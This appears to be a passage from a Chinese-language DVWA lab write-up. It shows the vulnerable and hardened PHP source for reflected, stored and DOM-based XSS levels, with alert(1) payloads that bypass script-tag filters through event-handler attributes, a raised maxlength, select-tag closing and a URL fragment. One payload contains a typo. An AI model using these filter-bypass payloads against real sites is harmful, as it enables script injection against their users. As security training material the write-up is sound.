checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 从GET请求中获取'id'参数
$id = $_GET[ 'id' ];
// 检查是否输入了数字
// 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)
if(is_numeric( $id )) {
// 使用PDO准备SQL查询语句,以预防SQL注入攻击
// 这里使用了参数化查询来绑定变量
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
// 绑定参数':id'到变量$id,并指定参数类型为整数
$data->bindParam( ':id', $id, PDO::PARAM_INT );
// 执行SQL查询
$data->execute();
// 检查查询结果中的行数
if( $data->rowCount() == 1 ) {
// 如果找到一行结果,说明用户ID存在于数据库中
// 反馈给用户
echo '<pre>User ID exists in the database.</pre>';
}
else {
// 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// 反馈给用户
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// 生成一个新的Anti-CSRF token并存储在会话中
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的
generateSessionToken();
?>
-
CSRF保护:通过检查请求中的
user_token
与会话中存储的session_token
是否一致,来防止CSRF攻击。 -
SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。
-
输入验证:通过
is_numeric()
函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。
Reflected Cross Site Scripting (XSS)
Low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
对用户的输入没有进行任何的转义,存在XSS注入的风险非常大,直接采用script标签注入
js代码在这里执行的,不能在input标签里执行
Mediu
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {//判断name是否存在且不为空
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );//把script标签换成空
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
所以这里就不能用script标签了,可以用a,img等
High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
//进行正则匹配
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
所以直接用a标签
payload:<a onmouseenter="alert(1)">123456</a>
Impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//验证CSRF令牌
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
//将name进行html实体转义
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
几乎避免了某些情况下的的XSS注入
Stored Cross Site Scripting (XSS)
Low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );//去除字符串左右两边的空格
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );//去掉反斜杠
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
Mediu
<?php
// 检查是否通过POST方法提交了名为'btnSign'的按钮
if( isset( $_POST[ 'btnSign' ] ) ) {
// 获取并修剪(去除前后空白)评论内容
$message = trim( $_POST[ 'mtxMessage' ] );
// 获取并修剪(去除前后空白)姓名
$name = trim( $_POST[ 'txtName' ] );
// 清理评论内容,首先去除HTML标签,然后添加斜杠来转义特殊字符(但这一步通常与下面的mysqli_real_escape_string重复)
$message = strip_tags( addslashes( $message ) );
// 如果存在全局的mysqli连接对象,则使用mysqli_real_escape_string来转义特殊字符以防止SQL注入;否则,触发错误
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 使用htmlspecialchars来将特殊HTML字符转换为HTML实体,防止XSS攻击
$message = htmlspecialchars( $message );
// 清理姓名输入,简单地移除'<script>'标签(这不是一个全面的清理方法)
$name = str_replace( '<script>', '', $name );
// 类似于$message的处理,但只针对$name
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 准备SQL查询语句,将清理后的数据插入到guestbook表的comment和name字段
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 执行SQL查询,如果失败则输出错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 注释掉的mysql_close();函数是尝试关闭MySQL连接,但这里应该使用mysqli_close()且可能不需要因为连接可能在其他地方重用
}
?>
虽然他把message进行了html实体转义,但是没有对name进行转义,所以这注入点就在name处
但是我们又发现他把name的长度好像限制了,我们可以更改长度限制摁下F12进入开发者模式
将maxlength改为100
payload:<a onmouseover="alert(1)">123456</a>
High
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
和反射型的一样都是进行了正则匹配,所以直接采用a或者img标签即可,还是像mediu一样在name注入,更改maxlength的长度
Impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
name和message 都进行了HTML实体的转义,避免了大部分情况下的xss
DOM Based Cross Site Scripting (XSS)
Low
发现每次选择变化URL都会变化,所以直接在构造payload
payload :http://dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>
Mediu
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {//如果存在<script就跳转到english页面
header ("location: ?default=English");//页面重定向
exit;
}
}
?>
尝试<a οnmοuseοver="alert(1)">xss</a> 发现不行
发现在select标签里,果断闭合select标签
payload:default=</scelect><a onmouseover="alert(1)">xss</a>
High
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
发现只能是那4个中的其中一个了,所以我们直接进行注释掉我们注释的代码
payload:default=English#<script>alert(1)</script>
原理:#在php代码里把后面注释掉了,所以就过了他的判断,但是在HTML中又被执行了